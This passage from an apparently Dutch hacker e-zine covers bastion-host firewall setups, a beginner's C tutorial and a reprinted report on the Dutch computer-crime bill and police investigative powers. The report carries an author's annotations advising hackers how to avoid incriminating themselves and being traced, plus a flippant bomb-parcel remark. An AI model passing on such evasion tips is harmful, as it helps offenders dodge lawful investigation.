punt bij netwerkbeveiliging. Meestal zullen de Bastion host servers dienst
doen als als platformen voor een Application-Level gateway, of een
Circuit-Level gateway.
Deze zijn de eigenschappen van een Bastion host:
o Op het bastion host hardware platform draait een beveiligde versie van
zijn operating system, waardoor het een betrouwbaar systeem wordt.
o Enkel en alleen de services die de sysop als noodzakelijk beschouwt,
zijn geïnstalleerd op de Bastion host. Deze kunnen ook proxy
applicaties zijn zoals Telnet, DNS, FTP, SMTP en user-verification.
o De Bastion host kan bijkomende authentificatie eisen vooraleer een user
toegelaten zal worden tot de proxy services. Verder nog: elke proxy
service kan zijn eigen authentificatie eisen vooraleer een user toegang
te verlenen.
o Elke proxy is geconfigureerd om enkel een subset van de
standaardcommando's van de toepassingen te ondersteunen.
o Elke proxy is geconfigureerd om toegang te verlenen tot specifieke
hosts. Hiermee wordt bedoelt dat men het beperken van features kan
toepassen op een subset van systemen op het beschermde netwerk.
o Elke proxy houdt gedetailleerde informatie bij door het loggen van alle
verkeer, het loggen van elke verbinding en het loggen van de tijdsduur
van elke verbinding. Deze vorm van monitoring is een essentiële tool
voor het ontdekken van en tegenwerken van aanvallen van buitenaf.
o Elke proxy module is een heel klein softwarepakketje, speciaal
ontwikkeld voor netwerkbeveiliging. Door zijn simpelheid, is het
gemakkelijker deze modules te controleren voor beveiligingsfouten of
zwakheden.
o Elke proxy is onafhankelijk van andere proxies op de Bastion host. Als
er een probleem oprijst met de werking van een bepaalde module, of als
er een mogelijke zwakheid ontdekt werd, kan het gemakkelijk verwijderd
worden zonder de werking van de andere proxies te hinderen. En de sysop
kan later, als er een nieuwe service vereist wordt door een aantal
users, gemakkelijk de vereiste proxy installeren op de Bastion host.
o Een proxy voert meestal geen andere vorm van disc access uit dan het
lezen van zijn eigen configuratiefile, waardoor het moeilijk wordt om
een Trojan horse sniffer of andere *gevaarlijke* files te installeren op
de Bastion host.
o Elke proxy loopt als een non-priviliged user in een private en
beveiligde directory op de Bastion host.
--[ Bijvoegsel
In tegenstelling tot de simpele configuraties die bestaan uit een single
systeem, zoals een pakket filtering router (single gateway), zijn er meer
complexe systemen mogelijk die trouwens ook meer gebruikt worden.
1) Screened host firewall, single-homed bastion:
Hierbij bestaat de firewall uit twee systemen: een pakket filtering
router en een bastion host. Meestal wordt de router zo geconfigureerd
dat:
o voor het verkeer van het Internet, alleen IP pakkets met de Bastion
host als bestemming enkel worden toegelaten,
o voor het verkeer van het interne netwerk, alleen IP pakkets van de
Bastion host worden toegelaten naar buiten.
De Bastion host voert de authenticatie en proxy functies uit. Deze
configuratie heeft een grotere beveiliging dan enkel en alleen een
pakket filtering router of een application level gateway. Twee redenen
hiervoor:
o deze configuratie biedt zowel pakket-level als applicatie-level
filtering, waardoor er een zekere flexibiliteit wordt toegelaten in
het beveiligingsbeleid.
o een indringer moet twee aparte systemen binnendringen vooraleer de
beveiling van het interne netwerk werd doorboord.
Deze configuratie biedt ook een zekere flexibiliteit voor directe
Internet toegang. Bijvoorbeeld: het interne netwerk kan een publieke
informatie server bevatten, zoals een web-server, waarbij geen hoog
level van beveiliging vereist is. In dat geval, kan de router worden
geconfigureerd om alleen direct verkeer toe te laten tussen de
information server en het Internet.
Als bij deze configuratie de pakket-filtering router volkomen
gecompromised wordt, kan verkeer vloeien direct door de router tussen
het Internet en de andere host op het private netwerk.
2) De screened host firewall, dual-homed Bastion configuratie voorkomt
fysiek zo een beveiligingstekort. De voordelen van twee
beveiligingslagen zoals in de vorige configuratie zijn hier weeral van
toepassing. Opnieuw, kan een information server of een andere host een
directe verbinding verkrijgen met de router als dit in overeenstemming
is met het beveiligingsbeleid.
3) De screened subnet firewall configuratie is de meest beveiligde van
deze drie soorten die we hebben besproken. In deze configuratie zijn
twee pakket filtering routers gebruikt; eentje tussen de Bastion host
en het Internet, en eentje tussen de Bastion host en het interne
netwerk. Deze configuratie creëert een geïsoleerd subnetwerk, dat kan
bestaan uit enkel de Bastion host, maar kan ook een of meerdere
information servers bevatten en modems voor dial-in mogelijkheden.
Meestal zal zowel het Internet en het interne netwerk toegang hebben
tot hosts op het screened subnet, maar verkeer over het screened subnet
wordt geblokkeerd.
Verschillende voordelen:
o Nu zijn er drie levels van beveiliging tegen indringers.
o De externe router toont alleen het bestaan van een screened subnet
aan het Internet; waardoor het interne netwerk onzichtbaar wordt
voor het Internet.
o Likewise, zal de interne router enkel het bestaan tonen van het
screened subnet aan het interne netwerk; waardoor de systemen in het
interne netwerk geen directe verbindingen tot stand kunnen brengen
met het Internet.
Zym0t1c
-------------------------------------------------------
11. Programmeren in C
-------------------------------------------------------
Okeej, we gaan nu een echte taal leren! En wel de taal C.
Waarom C en geen C++? simpel omdat ik vindt dat als je C++ wil leren je eerst
C moet leren. Sommige zeggen van niet, maar ik zeg van wel! Dus dan doen we
dat ook :).
Dit is eigenlijk een letterlijk kopie van C in 24 Hours die ik van Viper
z'n website gehaald heb, maar ik probeer het wat makkelijker uit te
leggen, en er staan fouten in dat boek.. en omdat C voor mij ook totaal
nieuw is ben ik behoorlijk pissed geweest dat ie het niet doet, en dat wil
ik jullie niet aan doen (scheelt weer liters koffie enzo..)
Ok, eerst van stuff over C... C is een taal waar je vele leuke dingen mee
kan doen, delen van UNIX zijn in C/C++ geschreven, en ook DOS is in C/C++
geschreven. Later is DOS overgegaan naar hand-coded Assembler, maar da's
weer een totaal ander onderwerp.
Er zijn eigenlijk meerdere variaties, je hebt de K&R versie en je hebt de
ANSI versie. ANSI is een instituut dat een bepaald iets vast legt. Net
zoals je de NEN voor o.a. Electrische Apparaten hebt... dingen zoals waarom
moet de aarde leiding groen/geel zijn.. zoiets is de ANSI dus ook, maar dan
in dit geval voor C. De K&R 'standaard' komt van 2 mensen die een heel
bekend boek geschreven hebben. Hun achternamen begonnen met K en R..
vandaar =]
Oude compilers zijn dus niet 100% ANSI Compatible, en zal daarom soms
errors geven. Mijn tutorials zijn 100% ANSI compliant, en je moet dus
checken of je compiler dat ook is. GCC b.v. is ANSI compliant.
Voor veel talen heb je een programma nodig, de editor, compiler en linker..
omdat ik mijn programma's schrijf en compile in Linux heb je niets nodig..
Linux heeft alles standaard al. In Linux kun je voor C programma's GCC
gebruiken, en voor C++ programma's G++.
Om b.v. het bestand tut1.c te compilen doe je dit:
[root@embrace]# gcc tut1.c -o kloar
dit houdt dus in dat hij het bestand 'tut1.c' als input neemt, en het output
bestand wordt 'kloar' genoemd. Ik gebruik zelf PICO als editor.. want Vi
en Emacs vindt ik niets... Een texteditor van 35 MB.. pfffff...
Tip: Als je in Linux werkt, en je wil hem executen nadat je hem
gecompiled hebt.. en hij doet het niet, of geeft een error, dan komt dat
waarschijnlijk omdat je je home directory niet in je PATH hebt staan, doe
dan ff dit:
(als /root je home directory is:)
PATH=$PATH:/root
(als /home/blaat je home directory is:)
PATH=$PATH:/home/blaat
Let wel, hierbij ga ik ervan uit dat je je C programma's compiled in je
home directory, als je alles bewaard in /home/blaat/languages/c dan moet
je dus
PATH=$PATH:/home/blaat/languages/c doen enzo.. Dit ff om honderden mails
te vermijden =]
Ok, ik ga ervan uit dat een totale 'knowno' (=]) bent op programmeergebied,
dus we gaan eerst eens ff wat uitleggen:
statement = een opdracht.
procedure = een aantal statements aan elkaar
die geplakt die onder 1 naam
worden aangeroepen. Deze naam
heet een identiefier
library = een hele hoop vaak standaard
procedures
unit = ook wel library
functie = ook wel procedure genoemd.
integer = een getal zonder decimale punt
real = een getal met decimale punt
string = een tekenreeks
Ok, er vast nog wel meer dingen die je tegenkomt, maar dit is zo'n beetje
het basic gedoe :)
C heeft eigenlijk geen standaard dingen... b.v. in Pascal kun je zonder
ook maar enige units te gebruiken dingen op het scherm zetten omdat dit
soort simpele dingen standaard zit ingebouwd. Bij C is dat niet zo, daar
moet je alle units die je wil gebruiken opgeven.
In deze tutorial hebben we alleen 'stdio.h' nodig. STDIO staat voor
STanDard Input Output. En dit zetten we zo in ons programma:
#include <stdio.h>
Als je naar die regel kijkt zie je dat de bestandsnaam tussen < en > staat.
Je zou het ook zo kunnen doen:
#include "stdio.h"
Het verschil is dat als je < en > gebruikt hij het bestand uit de library
directory haalt, dat is een standaard directory waar al dat soort files
zich bevinden. Als je " gebruikt dan haalt hij het bestand uit de huidige
directory, dit is handig als je je eigen library's gaat schrijven.
Ok, een programmatje:
1: #include <stdio.h>
2:
3: main()
4: {
5: printf("Hello World!\n");
6: return 0;
7: }
Ok, dat was makkelijk :), om dit te begrijpen gaan we alles stap voor stap
bij langs! (Als je dit zelf wil programmeren moet je die nummers er dus
niet voor zetten.
Newbie note:
Ik gebruik 'Hello World' omdat freaks dat graag gebruiken om iets uit te
leggen... net zoals dat je om onzin aan te duiden vaak foobar gebruikt.
1: Gebruik de STDIO.H library, deze library heb je altijd nodig.
2:
3: Begin het programma. Een programma moet altijd de main() functie hebben.
door de main functie aan te roepen zeg je dat het programma hier
begint. Vanaf hier kun je dus ook weer andere fucnties aanroepen.
4: 'opening bracket'. Hiermee geef je aan dat de functie/procedure begint.
alles wat hiertussen staat hoort bij een en dezelfde functie, in dit
geval dus main()
5: zet op het scherm "Hello World". Die \n zorgt ervoor dat er een harde
return wordt gegeven. (Enter dus!)
6: Geef als return code 0. Iedere functie moet normaal een code meekrijgen
als hij is afgelopen, dit is wel 'uit te schakelen', maar nu moet het aan.
Je kan dus ook return 1; doen om hem 1 als code terug te geven.
7: 'closing bracket'. Hiermee geef je aan dat de huidige functie klaar is.
in dit geval dus ook het eind van het programma omdat we maar 1 functie
gebruiken. (De Main() functie)
Ok, ga dit maar eens overtikken, compile het eens, and be amazed! Je
allereerste C programma in 'De language of the feature (and the past)'.
Voordat we echt berekeningen moeten doen, zullen we toch wat dingen moeten
weten welke 'expressions' we daar voor moeten gebruiken.. Iedere beetje
computer gebruik hoort dit te weten, magoed.. voor de total knowno..
'*' betekent vermenigvuldigen (Multiplication)
'/' betekent delen (Division)
'+' betekent optellen (Addition)
'-' betekent aftrekken (Substraction)
'%' betekent modulus (Remainder)
Ok, misschien moet ik over % nog wat uitleggen.. In Pascal en andere
programmeertalen is dit de MOD expression... Het is eigenlijk heel
simpel.
6 % 4 is 2. Want 4 gaat 1x in 6 en dan blijft er nog 2 over.
8 % 4 is 0, want 4 gaat 2x in 8 en dan blijft er niets (0) over.
3 % 2 is 1, want 2 gaat 1x in 3 en dan blijft er nog 1 over.
Verder kun je ook haakjes om iets hangen om dat eerst te doen..
Als je doet:
5 - 3 + 3 dan zul je zien dat daar 5 uitkomt. Maar als je dit doet:
5 - (3 + 3) dan zul je zien dat er -1 uitkomt. Dit komt omdat hij dus 3
aftrekt van 5 en daar 3 bij optelt.
Bij het vorige voorbeeld trekt hij het antwoord van 3 + 3 af van 5. Zo kun
je dus hele leuke statements maken... voorbeeldje:
x = 5+(x+1/(g1/(g2/g3))+1)
Allemaal heel leuk (dit was gewoon ff een zelfbedacht voorbeeld heur =]
Dan nog iets.. Een variabele is een naam dat je aan een stuk geheugen
geeft. Stel, je hebt de variabele 'getalletje' en dat is een integer, dan
kun je daar dus een waarde aan plakken.Als je doet:
getalletje = 1;
dan zeg je dus tegen de computer: Zet het getal 1 in het geheugen en
markeer dat met de naam 'getalletje'.
Let wel op, in bijna alle programeertalen zijn 'getalletje' en
'Getalletje' hetzelfde. in C/C++ zijn dit 2 verschillende variabelen.. dus
ook Main() is niet hetzelfde als main().
Zoals je bij ons vorige voorbeeld hebt gezien gebruiken we z.g.n.
'statement blocks' om een bepaalde procedure c.q. functie goed te laten
werken. Anders zou hij immers niet weten waar de procedure start en stopt.
(Een statement block is alles wat tussen { en } staat).
Dit is bijvoorbeeld een statement block:
{
int getalletje;
int antwoord;
getalletje = 7;
antwoord = getalletje + 1;
printf("Het antwoord van 7 plus 1 is %d. Leuk he?",antwoord);
}
Dus alles tussen { en } behoort tot dezelfde procedure c.q. functie. Als
je dus dit zou doen:
#include <stdio.h>
main()
{
int getalletje;
int antwoord;
getalletje = 7;
antwoord = getalletje + 1;
printf("Het antwoord van 7 plus 1 is %d. Leuk he?",antwoord);
}
Ok, in dit voorbeeld is main dus de procedure (c.q. functie) en is alles
tussen { en } dus het statement-block.
Als je pascal gedaan hebt/doet, dan zul je ongetwijfeld weten dat je niet
altijd 'begin' en 'end' hoeft te gebruiken. Als je b.v. dit hebt:
repeat
writeln('Dit is niet belangrijk als je geen pascal kent');
until blaat > 1;
hoef je geen begin en end te gebruiken omdat je maar 1 statement gebruikt,
als je meer dan 1 statement zou gaan gebruiken zou je wel begin en end
moeten gebruiken. In C moet je echter (voor zover ik weet) altijd het
statement-block gebruiken.
Ok, voordat ik nu een een tutorial van 40 kantjes zit te typen.. gaan we
eerst eens ff stoppen, en dan zien we jullie weer bij de volgende h4h..
b.t.w.. mijn e-mail is veranderd (FUCK CYBERCOMM!) mijn nieuwe adres is:
tozz@tozz.tmfweb.nl
Okeej, bye bye, sweet dreams en natuurlijk happy coding :)
Owja.. nog ff dit.. als iets niet werkt.. ga dan niet meteen mij mailen..
want als ik dus mails krijg dat iets niet werkt, en het blijkt dat je Main
hebt geschreven i.p.v. main dan reply ik dus ook niet.. of ik stort mijn
dagelijkse alt.hack.nl agressie op je uit.. dus je moet wel eerst ff zelf
checken of je iets fout gedaan hebt..
P.S.: Volgende week gaan we onze eigen procedures schrijven. (Whoah! We're
getting good at this =])
Gtx,
Tozz
-------------------------------------------------------
12. Wetsvoorstel Computercriminaliteit II
-------------------------------------------------------
[Jullie hadden dit artikel natuurlijk eerder verwacht, want dat stond ook in
de vorige H4H. Aangezien toendertijd het de bedoeling was dat Wetsvoorstel
Computercriminaliteit II eind januari in de kamer besproken zou worden, was
het van belang dat jullie het artikel op tijd kregen. Tegen de tijd dat we
het artikel binnen kregen bleek dat de kamer wachtte op europese normen voor
dit onderwerp. Nu komt het voorstel ergens in augustus dit jaar in de
kamer.]
Haarlem, 10 januari 2000
Gerrie Mansur organisator HIT2000
Doel: Het informeren van mensen die mee willen -niet om te demostreren- naar
de tweede kamer om te kijken hoe men in onze parlement debateerd over wet
computer criminaliteit II.
Secundaire doel: Informeren van scene en geïntresseerden
Een gedeelte van mijn tekst hieronder zijn overgenomen uit Criminaliteit in
Cyberspace ISBN 90-5749-428-0
Dat een onderzoek is in opdracht van Justitie, die laatste week van 1999 is
verschenen, en de meeste uitlatingen van politie, instellingen en overheid
in de maand december -b.v. kenteken- onderuit haalt.
Overigens zullen er mensen niet blij zijn met het verstrekken van informatie
laat staan integraal overnemen van stukken tekst, wij -HIT2000- vinden dat
deze tekst gewoon in digitale vorm door de overheid had moeten worden
verstrekt, immers wij hebben in het verleden meer aan voorlichting gedaan
dan de belanghebbende, iets waarin overheid duidelijk tekort in is
geschoten, tevens zijn zij daar al opgewezen tijdens voorbereidingen van
HIT2000,
waar alle partijen zijn verzocht om te komen voor een open discussie.
De enige persoon die op eigen beweging de moeite heeft genomen om in
discussie met ons te treden was Louis Maatman van afd. Digitaal rechercheren
KLPD.
Zij hebben met deze discussie op usenet -zie dejanews alt.hit2000.nl- meer
bereikt dan dat zij ooit op reguliere wijzen hadden kunnen bereiken.
Het geen duidelijk een signaal moet zijn geweest -voor de overheid- om uit
eigen beweging contacten aan te gaan met de scene. -hiermee niet specifiek
doelend op HIT2000-
Ook willen wij langs deze weg de onderzoekers van buro In-Pact bedanken, met
name de Heer van Treeck, die de moeite heeft genomen om naar ons te
luisteren, en HIT2000 heeft bezocht.
Wij hopen dat de overheid voor zij het debat beginnen over Wet
Computercriminaliteit II de moeite hebben genomen het onderzoek eens te
lezen, niet alleen wij -scene-, maar ook de rest van de samenleving is er
bij gebaat.
En de aanbevelingen in het onderzoek zijn moeite van het overwegen waard.
5.2.2 blz. 37 Wetsvoorstel Computercriminaliteit II
In het wetsvoorstel Computercriminaliteit II worden opsporingbevoegdheden
geregeld die kunnen worden ingezet in onderzoeken naar ICT-criminaliteit.
Zo kan een rechter-commissaris bevelen dat gevens die zich in een
geautomatiseerd werk bevinden (b.v. de computer van een verdachte) voor de
rechter-commissaris worden overgenomen, toegankelijk worden gemaakt of
worden overgebracht naar de griffie van de rechtbank (artikel 125i Sv).
Ook kunnen gegevens in een systeem ontoegankelijk worden gemaakt (artikel
125o Sv).
Verder kan het bevel worden gegeven, dat versleutelde telecommunicatie wordt
ontsleuteld door iemand van wie wordt vermoed dat hij de kennis heeft om een
versleuteling ongedaan te maken.
Hierbij moet wel worden aangetekend, dat dit bevel niet tot de verdachte kan
zijn gericht.
Een hacker kan er dus niet toe worden verplicht zijn eigen versleuteling
ongedaan te maken. (Dit wilde ze wel invoeren overigens -Gerrie-)
Relevante URL's
http://www.minjust.nl/c_actual/persber/pb0230.htm Persbericht mbt WET en
complete tekst van voostel
http://www.xs4all.nl/~mjk/artikelen/recht.html Verdachten hoeven niet mee te
werken
http://www.db.nl/compucrim.htm DBNL bestrijdt ontwerpwet
computercriminaliteit II (goed verweer -Gerrie-)
http://www.nlip.nl/reacties/ccii.htm NLIP-Commentaar op Wetsvoorstel
Computercriminaliteit II (26 671)
http://www.nlip.nl/reacties/archf98/980304.htm Persbericht NLIP inzake
wetsvoorstel
5.2.3 Wetsvoorstel Bijzondere opsporingsbevoegdheden (BOB)
Het wetsvoorstel Bijzondere opsporingsbevoegdheden, dat in werking treedt op
1 februari 2000, bevat een regeling van enkele opsporingsmethoden die in de
politiepraktijk reeds werden toegepast, maar waarvoor nog geen wettelijke
grondslag bestond. Enkele van deze bijzondere opsporingsmethoden zijn ook
relevant voor de opsporing van strafbare feiten op internet. Hierna
bespreken we deze. Een voorwaarde die bij al deze bijzondere
opsporingsmethoden geldt, id dat er geen sprake is van een
opsporingsonderzoek.
Observatie (artikel 126g)
Artikel 126g Wetboek van Strafvordering (Sv) bepaalt dat, in het geval van
verdenking van een misdrijf, de officier van justitie het beval kan geven
dat een opsporingsambtenaar in het belang van het onderzoek stelselmatig een
persoon volgt of stelselmatig diens aanwezigheid of gedrag waarneemt. In
relatie tot internet kan bij gebruik van deze opsporingsbevoegdheid worden
gedacht aan het observeren van het surfgedrag van een verdachte. (duh...
sniffen van verbinding bedoelen ze -Gerrie-)
Het onderscheppen en lezen van e-mail (de e-mailtap) valt niet onder deze
bevoegdheid. (niet sniffen op 25, 109, 110, 143 & 1109 dus, wie ziet daar op
toe? -Gerrie-)
Hiervoor is een aparte bevoegdheid opgenomen in het wetsvoorstel (opnemen
van vertrouwelijke communicatie, zie verder hieronder). Wel kan met
observatie worden onderzocht welke nieuwsgroepen een verdachte bezoekt en
wat de inhoud van de postings is die de verdachte plaatst, omdat de postings
in een nieuwsgroep openbaar zijn. (oftewel pas op met wat je
post!! -Gerrie-)
Een mogelijk knelpunt bij het uitoefenen van deze bevoegdheid is, dat
observatie uitgaat van een zekere passiviteit van de opsporingsambtenaar.
(doh... alle informatie kan automatisch vergaard worden -Gerrie-)
Hij mag waarnemen, maar niet zelf deelnemen aan een proces (bijvoorbeeld in
een discussiegroep of chatbox). (of tewel als iemand idled op irc, moet je
hem wel kicken :-) -Gerrie-)
Daarnaast bepaalt artiker 126g Sv niets over de kenbaarheid van de
opsporingsambtenaar als zodanig. In de fysieke wereld is dat geen probleem,
omdat observatie door een opsporingsambtenaar ongemerkt kan geschieden
(vanuit een auto of een woning bijvoorbeeld). Op de eletronische snelweg
worden altijd digitale sporen achtergelaten. Het is dus de vraag of het
inloggen onder een nickname door een opsporingsambtenaar in een
discussiegroep (of irc etc..etc..-Gerrie-) (waardoor deze niet kenbaar is
als opsporingsambtenaar) stand kan houden in relatie tot de formele
bevoedheid van observatie. Dit staat overigens los van het door de politie
onder een nickname deelnemen aan een discussiegroep zonder een formeel bevel
tot observatie.
( in Amerika is een opsporingsbeambte verplicht zijn indentiteit te
verhullen als je er naar vraagt, ik weet niet of dat enkel geldt indien hij
in functie is of niet -Gerrie-)
http://www.justitie.nl/c_actual/rapport/index.htm Aanbiedingsbrief:
Opsporing in uitvoering (commissie Kalsbeek)
http://www.xs4all.nl/~respub/ Rapport Kalsbeek online (en veel andere
informatie omtrent opsporingsdiensten)
http://www.oudenaarden.nl/pgp/ Lopende zaken Privacy op Internet
http://www.pgpi.org/ Na het lezen van bovenstaande, lijkt het me
vanzelfsprekend.....
http://www.xs4all.nl/~freeswan/ Linux FreeS/WAN is an implementation of
IPSEC & IKE for Linux (Got Crypto?)
Stelselmatige inwinning van informatie (artikel 126j)
De bevoegdheid tot stelselmatige inwinning van informatie komt tegemoet aan
het hiervoor gesignaleerde mogelijke knelpunt van kenbaarheid van de
opsporingsambtenaar. Artikel 126j Sv bepaalt namelijk, dat in het belang van
het onderzoek de officier van justitie kan bevelen dat een
opsporingsambtenaar, stelselmatig informatie inwint over een verdachte. Met
toepassing van deze opsporingsbevoegheid kan een opsporingsambtenaar
undercover deelnemen aan een nieuws- of discussiegroep op internet of
gberuik maken van Internet Relay Chat (IRC en op die manier informatie
verzamelen over een verdachte. (daarom moet je nooit te koop lopen met wat
je kan, weet en gedaan hebt, je levert enkel voor jezelf belastend materiaal
op -Gerrie-)
Een belangrijke randvoorwaarde bij het uitoefenen van de bevoegdheid tot
stelselmatige informatie-winning is dat de opsporingsambtenaar niet mag
uitlokkeen tot het plegen van strafbare feiten die de verdachte nog niet van
plan was te plegen (hetgeen bij toepassing van deze bevoegdheid in de
fysieke wereld ook geldt).
(Dus als jij op irc of op usenet met urls van defacements gooit, en iemand
vraagt hoe je het gedaan hebt, moet je op je tellen passen, ook zou betekend
het dat je bijvoorbaat al belastend voor jezelf bezig bent -Gerrie-)
Dit (gecodificeerde) criterium is ontstaan in de rechtspraak van het
Europese Hof van Justitie en staat bekend als het Tallon-criterium.
Opnemen van vertrouwelijke communicatie (artikel 126l)
Artikel 126l Sv biedt de mogelijkheid om vertrouwelijke communicatie op te
nemen. Hierbij kan bijvoorbeeld worden gedacht aan situaties waarbij wordt
gebruikgemaakt van encrypted e-mail voor de verzending van
kinderpornografische afbeeldingen. Een mogelijkheid om dergelijke e-mail te
onderscheppen voordat het wordt geëncrypteerd, is door het plaatsen van een
'bug' op de toetsenbord van de computer waarmee de e-mail wordt verzonden.
(in een trusted computer domain kan dit dus niet...-Gerrie-) Indien hiervoor
een kantoor of een woning moet worden betreden zonder toestemming van de
rechthebbende, gelden vrij zware eisen (het belang van het onderzoek moet
dit dringed vorderen en, ingeval van binnentreden in een woning, dient de
verdenking een misdrijf betreffen waarop een gevangenisstraf van acht jaar
of meer is gesteld - of zes jaar of meer indien sprake is van criminaliteit
in georganiseerd verband). (Alleen cracken zal dus nooit iemand bij je thuis
opleveren, bij cracken in groepsverband moet je opgaan passen.... -Gerrie-)
Opnemen telecommunicatie en vorderen van verkeersgegevens (artikel 126m en
126n)
De wet biedt ook de mogelijkheid telecommunicatie op te nemen, als dit in
het belang van het onderzoek is en het onderzoek dit dringend vordert. Niet
vereist is overigens dat de verdachte deelneemt aan de telecommunicatie. Het
kan zowel om spraak- als om datacommunicatie.
Het verschil tussen deze bevoegdheid en de bevoegdheid tot het opnemen van
vertrouwelijke communicatie is dat bij de bevoegdheid tot het opnemen van
telecommunicatie het niet mag gaan om vertouwelijke communicatie, zoals
bijvoorbeeld geëncrypteerde e-mail. (als ze je mail tappen, zal daar altijd
ook pgp versleutelde mailtjes tussen kunnen zitten, dit artikel zou weleens
tot vrijspraak kunnen lijden, men kan nooit aantonen dat ze alleen dat ene
belastende mailtje hebben onderschept, en niet dat versleutelde mailtje die
er voor of er na werd verzonden -Gerrie-)
Daarnaast is bij het uitoefenen van deze bevoegdheid de medewerking vereist
van de aanbieder van de telecommunicatie dienst. Dit kan een provider van
mobiele telecommunicatie zijn, maar ook een internetprovider.
Artikel 126n Sv biedt voorts de mogelijkheid om bij een aanbieder van
telecommunicatiediensten te vorderen dat deze verkeersgegevens van
telecommunicatie verstrekt als over die communicatie het vermoeden bestaat
dat de verdachte eraan heeft geelgenomen. Hierbij kan worden gedacht aan
printlijsten die bijvoorbeeld door een verdachte gebelde telefoonnummer
bevatten of log-files van het surfgedrag.
(onaanvaardbaar, dit zou inhouden dat je vooraf aan je ISP moet vragen of ze
loggen en sniffen, het mag toch niet zo zijn, dat een ISP je bij voorbaat
snifft en logged -zoals mijn ISP met mijn verkeer doet- en dit zomaar aan
bevoegde beamte mag overdragen als ze erom vragen, mijn ISP had me daarop
vooraf moeten inlichten, lijkt me onrechtmatig verkregen bewijs, het is
uiteraard anders als de bevoegde instanties een blackbox installeren, en dan
mijn verkeer tappen, maar om nieuw bij een ISP te komen en er bij voorbaat
uit moeten gaan dat elke beweging die je online maakt, ooit eens tegen je
gebruikt kunnen worden...... tegek voor woorden.... -Gerrie- )
De hiervoor beschreven bevoegdheden tot het opnemen van telecommunicatie en
het vorderen van verkeersgegevens bestaan onder het huidige recht reeds. In
het wetsvoorstel zijn deze bevoegdheden enigszins gewijzigd, voornamelijk op
het punt van de formele vereisten waaraan dient te zijn voldaan.
Politiële infiltratie (artikel 126h)
De opsporingsbevoegdheid tot infiltratie kan zinvol zijn als een onderzoek
vergt dat een opsporingsambtenaar infiltreert in een netwerk van
kinderpornoverspreiders. Zo'n infiltratie kan plaatsvinden in de echte
wereld maar natuurlijk ook in de digitale, bijvoorbeeld door deelname aan
discussiegroepen.
Op zo'n manier kan informatie verzameld over de herkomst van afbeeldingen en
over de personen die bij de verspreiding zijn betrokken (leveranciers en/of
afnemers). Het Tallon-criterium(zie bij stelselmatige inwinning van
informatie) is ook hier van toepassing. Om inzicht te verkrijgen in
netwerken van verspreiders van kinderpornografie, kan deze bevoegdheid van
groot nu zijn, zeker in combinatie met de pseudo-koop.
Psuedo-koop (artikel 126i)
De algemene opsporingsbevoegdheid van pseudo-koop spreekt van het, in het
belang van het onderzoek, afnemen van goederen van een verdachte door een
opsporingsambtenaar. Het wetsvoorstel Computercriminaliteit II opent de
mogelijkheid dat pseudo-koop ook van toepassing kan zijn op het afnemen van
gegevens afkomstig uit een geautomatiseerd werk door tussenkomst van een
openbaar telecommunicatienetwerk. Pseudo-koop kan dan dus ook inhouden het
door een opsporingsambtenaar kopen van kinderpornografische afveeldingen van
het internet. (of bestellen van Warez en andere rommel online.... -Gerrie-).
Tot zover het wetsvoorstel bijzondere opsporingsbevoegdheden.
Voor het achterhalen van hackers kan de politie in de toekomst ook een
beroep doen op de providers van de hackers. (moet je eerst zien te herleiden
waar en hoe iemand het inernet opgaat... -Gerrie-)
De hoofdregel (voorzover van belang in het geval van hacking) in het nieuwe
artikel 53 van het Wetboek van Strafrecht is dat bij misdrijven gepleegd
door de de drukpers of enig ander middel voor openbaarmaking of verspreding,
een tussenpersoon niet wordt vervolgd indien deze op de eerste aanmaning na
het instellen van een gerechtelijk vooronderzoek alle gegevens verstrekt die
redelijkerwijs van hem kunnen worden verlangd om de dader te kunnen
achterhalen. (dus een ISP hoeft je verkeer pas te loggen en te sniffen als
men met een juridisch bevel komt, maar mocht jouw ISP het leuk vinden je te
sniffen en te loggen dan heeft men wel het recht om die gegevens te mogen
gebruiken, het lijkt mij onredelijk dat men je vooraf logged en sniffed,
afgezien dat het een inbreuk is op je privacy, kan men ook niet van andere
criminelen -zoals inbrekers- verwachten dat hij zijn hele voorbereiding en
uitvoering heeft gefilmd ;-), ook kan de TNT Postgroep, mijn bom pakketje
die ik naar de VS post, via Duitsland, vanaf de voorbereiding in de gaten
houden -in elkaar zetten bom etc...-, of zal KPN Telecom toch al onze
telefoon gesprekken bij voorbaat opnemen? dit lijkt me op discriminatie van
infrastructuur. Dat KPN het nodig vind om gesprekgegevens zoals gebelde
nummers te loggen ivm factuuradministratie kan ik tot zekere hoogte
begrijpen, maar dat zij vooraf het recht hebben om mijn gesprekken af te
luisteren gaat mij tever, bij mijn ISP kan het wel gebeuren -en in mijn
geval gebeurt het ook- ik heb niks tegen afluisteren van criminelen, maar
dat moet dan wel onder toezicht en volgens de regeltjes, als ISP's altijd
mogen loggen en sniffen, en dat achteraf als rechtmatigbewijs gebruikt
kan/mag worden, vind ik dat zij bij wet verplicht gesteld dienen te worden
omdat vooraf aan hun klanten kenbaar te maken, uiteraard niet als het om
gerechtelijk onderzoek gaat -Gerrie-)
Dit betekent dus, dat hackers niet op bescherming van hun provider kunnen
rekenen.
Als politie en justitie met gegevens bij een provider aankloppen waarmee de
persoonsgegevens van een hacker kunnen worden achterhaald (zoals een
IP-adres) dan dient de provider de NAW-gegevens (naam, adres, woonplaats)
van de aansluiting te overleggen. Doet hij dat niet, dan kan hij zelf worden
vervolgd.
(klinkt en leuk en aardig maar als je ISP het niet kan omdat ze -zoals mijn
ISP- je gegevens niet hebben, worden zij dan vervolgd omdat ze hun
administratie niet in orde hebben ? ;-) en hoe zit het met alle gratis
ISP's waar je valse gegevens op kunt geven? Nu kan je bij een gratis ISP de
telefoonnummer terugvinden, vanwaar er is ingebeld en bij KPN de gegevens
ervan terug vinden, maar hoe wil je dit doen met een kabelmodem waarvan je
alleen weet dat hij ergens in Haarlem staat, je mag de IP dan wel hebben,
maar iemand fysiek lokaliseren...... kan best weleens veel moeite en tijd
kosten :-))
Ik wens degene die mij ooit eens willen lokaliseren aan de hand van mij IP
dan ook erg veel succes,
maar misschien is het wel makkelijker om het gewoon aan me te vragen
-) -Gerrie-)
5.3 Digitalisering en politiemethoden
Politiemensen vertelden ons dat de toenemende digitalisering de kracht van
vertrouwde politiemethoden onder druk zet. In plaats van sporen te
verzamelen in een fysieke omgeving -verfsplinters, DNA-materiaal, vinger-,
voet- en oorafdrukken- zal de politie ook steeds vaker sporen moeten
verzamelen in een digitale omgeving. Ook politiemethoden als buurtonderzoek,
huiszoeking, observatie en confrontatie zijn afgestemd op een fysieke
wereld. Al dergelijke methoden blijven in de toekomst wel bruikbaar, maar ze
